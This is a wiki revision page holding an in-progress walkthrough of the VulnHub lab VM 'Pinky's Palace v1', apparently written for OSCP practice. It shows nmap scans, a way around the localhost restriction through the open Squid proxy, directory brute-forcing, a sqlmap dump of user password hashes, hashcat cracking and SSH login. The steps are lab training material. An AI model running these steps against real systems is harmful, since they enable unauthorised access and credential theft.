Difference between revisions of "Pinky's Palace: v1 ~ VulnHub - Walkthrough"

m (→‎Exploitation)
m (→‎Exploitation)
Line 126: Line 126:
  
 
Note to self: Re-visit the sqlmap part to get a better understanding how this was pulled out of the database as sqlmap is not allowed on OSCP exam! The vulnerability, by the way, was in '''user-agent''' which was susceptible to tame-based sql injection attacks.
 
Note to self: Re-visit the sqlmap part to get a better understanding how this was pulled out of the database as sqlmap is not allowed on OSCP exam! The vulnerability, by the way, was in '''user-agent''' which was susceptible to tame-based sql injection attacks.
 +
 +
A quick check on google.com gave us a valid set of credentials for one of the hashes - '''hashhack.pro''' gave us
 +
'''d60dffed7cc0d87e1f4a11aa06ca73af -> 3pinkysaf33pinkysaf3'''
 +
 +
Can we crack that hash ourselves too? sure why not! (I'm using --show switch because I've done it once already just forgot to record the screen from the original attempt
 +
 +
<syntaxhighlight  lang=shell-session highlight="" line>
 +
root@blaksec:~# hashcat -a 0 -m 0 d60dffed7cc0d87e1f4a11aa06ca73af /usr/share/wordlists/rockyou.txt --force --show
 +
d60dffed7cc0d87e1f4a11aa06ca73af:3pinkysaf33pinkysaf3
 +
</syntaxhighlight>
 +
 +
Running '''hashcat''' for '''f543dbfeaf238729831a321c7a68bee4''' kept segfaulting for some reason. Oh well, you can only do that much on a laptop. Let's work with what we have and come back to this one if we hit a dead-end.
 +
 +
'''pinkymanage:3pinkysaf33pinkysaf3''' did not work for the web log in but it did work for '''ssh'''
 +
<syntaxhighlight  lang=shell-session highlight="" line>
 +
root@blaksec:~# ssh -p 64666 pinkymanage@$TANGO
 +
pinkymanage@192.168.56.104's password:
 +
Linux pinkys-palace 4.9.0-4-amd64 #1 SMP Debian 4.9.65-3+deb9u1 (2017-12-23) x86_64
 +
 +
The programs included with the Debian GNU/Linux system are free software;
 +
the exact distribution terms for each program are described in the
 +
individual files in /usr/share/doc/*/copyright.
 +
 +
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
 +
permitted by applicable law.
 +
Last login: Wed Jun  6 16:54:49 2018
 +
pinkymanage@pinkys-palace:~$
 +
</syntaxhighlight>
  
 
== Final Notes ==
 
== Final Notes ==

Revision as of 14:53, 14 June 2018

Objective

xxxxxxxxxxxxxxxxxxxxx

Source: [xxxxxx]

Status: [In Progress]

Methodology

Discovery

Identify the target 

root@blaksec:~# nmap -sP 192.168.56.0/24
.....
root@blaksec:~# export TANGO=192.168.56.104
root@blaksec:~# nmap -O -sT -sV -p- -T5 $TANGO

Starting Nmap 7.60 ( https://nmap.org ) at 2018-03-23 19:11 EDT
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for $TANGO
Host is up (0.00098s latency).
Not shown: 65532 closed ports
PORT      STATE SERVICE    VERSION
8080/tcp  open  http       nginx 1.10.3
31337/tcp open  http-proxy Squid http proxy 3.5.23
64666/tcp open  ssh        OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0)
MAC Address: 08:00:27:A3:C5:2A (Oracle VirtualBox virtual NIC)
Device type: general purpose

Entry Point #1 - Port 8080 (HTTP)

Enumeration

All initial attempts to access the web server on 8080 came back with status 403 - Forbidden. This usually means one of two things - either there is a WAF (Web Application Firewall) blocking our attempts or the access is simply denied by server configuration. Gut feel telling WAF would be a bit of an overkill for CTF VM so I decided to take chances and try figuring out a work around the configuration based access restriction. Now, 403 usually means access is restricted to a certain IP (e.g. localhost / 127.0.0.1). If it required an authenticated user, it would've thrown a 401

We have a Squid Proxy instance running on port 31337. Accessing Webserver through that proxy should technically trick it to believe that the connection is coming from the same host. To prove our theory, 

root@blaksec:~# curl -x http://$TANGO:31337 http://127.0.0.1:8080/
<html>
	<head>
		<title>Pinky's HTTP File Server</title>
	</head>
	<body>
		<center><h1>Pinky's HTTP File Server</h1></center>
		<center><h3>Under Development!</h3></center>
	</body>
<style>
html{
	background: #f74bff;
}
</html>

Let's take it a step further and check the webserver out with other tools.

nikto

After updating nikto config to use proxy (PROXYHOST/PROXYPORT) 

root@blaksec:~# nikto -h 127.0.0.1 -p 8080 -useproxy -nossl
---------------------------------------------------------------------------
+ Target IP:          127.0.0.1
+ Target Hostname:    127.0.0.1
+ Target Port:        8080
+ Proxy:              $TANGO:31337
+ Start Time:         2018-03-25 16:04:57 (GMT-4)
---------------------------------------------------------------------------
+ Server: nginx/1.10.3
+ Retrieved via header: 1.1 pinkys-palace (squid/3.5.23)
+ Server leaks inodes via ETags, header found with file /, fields: 0x5a74203e 0xe5 
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ Uncommon header 'x-cache' found, with contents: HIT from pinkys-palace
+ Uncommon header 'x-cache-lookup' found, with contents: HIT from pinkys-palace:31337
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server banner has changed from 'nginx/1.10.3' to 'squid/3.5.23' which may suggest a WAF, load balancer or proxy is in place
+ Uncommon header 'x-squid-error' found, with contents: ERR_INVALID_REQ 0
+ 7518 requests: 0 error(s) and 8 item(s) reported on remote host
+ End Time:           2018-03-25 16:05:10 (GMT-4) (13 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Sadly enough, nothing interesting popped up. Except the fact that they're usign nginx. Time to shake things up a bit more!

dirb

Took a while to find the right list but we eventually landed on some goodies. Lesson here - don't give up :) 

root@blaksec:~# dirb http://127.0.0.1:8080/ /usr/share/dirbuster/wordlists/directory-list-1.0.txt -p $TANGO:31337 -w
---- Entering directory: http://127.0.0.1:8080/littlesecrets-main/ ----

Awesome! Now let's re-run it this time looking for some files 

root@blaksec:~# dirb http://127.0.0.1:8080/littlesecrets-main/ /usr/share/dirbuster/wordlists/directory-list-1.0.txt -p $TANGO:31337 -w -X .php,.bak,.txt

---- Scanning URL: http://127.0.0.1:8080/littlesecrets-main/ ----
+ http://127.0.0.1:8080/littlesecrets-main/login.php (CODE:200|SIZE:68)                                                                                                                                           
+ http://127.0.0.1:8080/littlesecrets-main/logs.php (CODE:200|SIZE:30)

Exploitation

Now that we have two possible entry points, let's dive deeper. Loaded that URL in ZAP but nothing obvious popped up - no LFI/RFI, no Cookies. Let's try something different - sqlmap. 

root@kali:~# sqlmap -u http://127.0.0.1:8080/littlesecrets-main/login.php --dbms=mysql --proxy=http://$TANGO:31337 --data="user=adm&pass=passw" --dump users --level=5 --risk=3

Bippidy-boop 24 mins later 

[23:41:35] [WARNING] no clear password(s) found                                                                                          
Database: pinky_sec_db
Table: users
[2 entries]
+-----+----------------------------------+-------------+
| uid | pass                             | user        |
+-----+----------------------------------+-------------+
| 1   | f543dbfeaf238729831a321c7a68bee4 | pinky       |
| 2   | d60dffed7cc0d87e1f4a11aa06ca73af | pinkymanage |
+-----+----------------------------------+-------------+

Note to self: Re-visit the sqlmap part to get a better understanding how this was pulled out of the database as sqlmap is not allowed on OSCP exam! The vulnerability, by the way, was in user-agent which was susceptible to tame-based sql injection attacks.

A quick check on google.com gave us a valid set of credentials for one of the hashes - hashhack.pro gave us d60dffed7cc0d87e1f4a11aa06ca73af -> 3pinkysaf33pinkysaf3

Can we crack that hash ourselves too? sure why not! (I'm using --show switch because I've done it once already just forgot to record the screen from the original attempt 

root@blaksec:~# hashcat -a 0 -m 0 d60dffed7cc0d87e1f4a11aa06ca73af /usr/share/wordlists/rockyou.txt --force --show
d60dffed7cc0d87e1f4a11aa06ca73af:3pinkysaf33pinkysaf3

Running hashcat for f543dbfeaf238729831a321c7a68bee4 kept segfaulting for some reason. Oh well, you can only do that much on a laptop. Let's work with what we have and come back to this one if we hit a dead-end.

pinkymanage:3pinkysaf33pinkysaf3 did not work for the web log in but it did work for ssh 

root@blaksec:~# ssh -p 64666 pinkymanage@$TANGO
pinkymanage@192.168.56.104's password: 
Linux pinkys-palace 4.9.0-4-amd64 #1 SMP Debian 4.9.65-3+deb9u1 (2017-12-23) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Jun  6 16:54:49 2018
pinkymanage@pinkys-palace:~$

Final Notes

xxx

Appendix A: Vulnerability Detail and Mitigation

xxx
Rating High
Description xxxx
Impact xxxxxxxxxxxxxxxxxxxxxxxxxxxx
Remediation xxxxxxxxxxxxxxxxx
Retrieved from "https://blaksec.com/index.php?title=Pinky%27s_Palace:_v1_~_VulnHub_-_Walkthrough&oldid=411"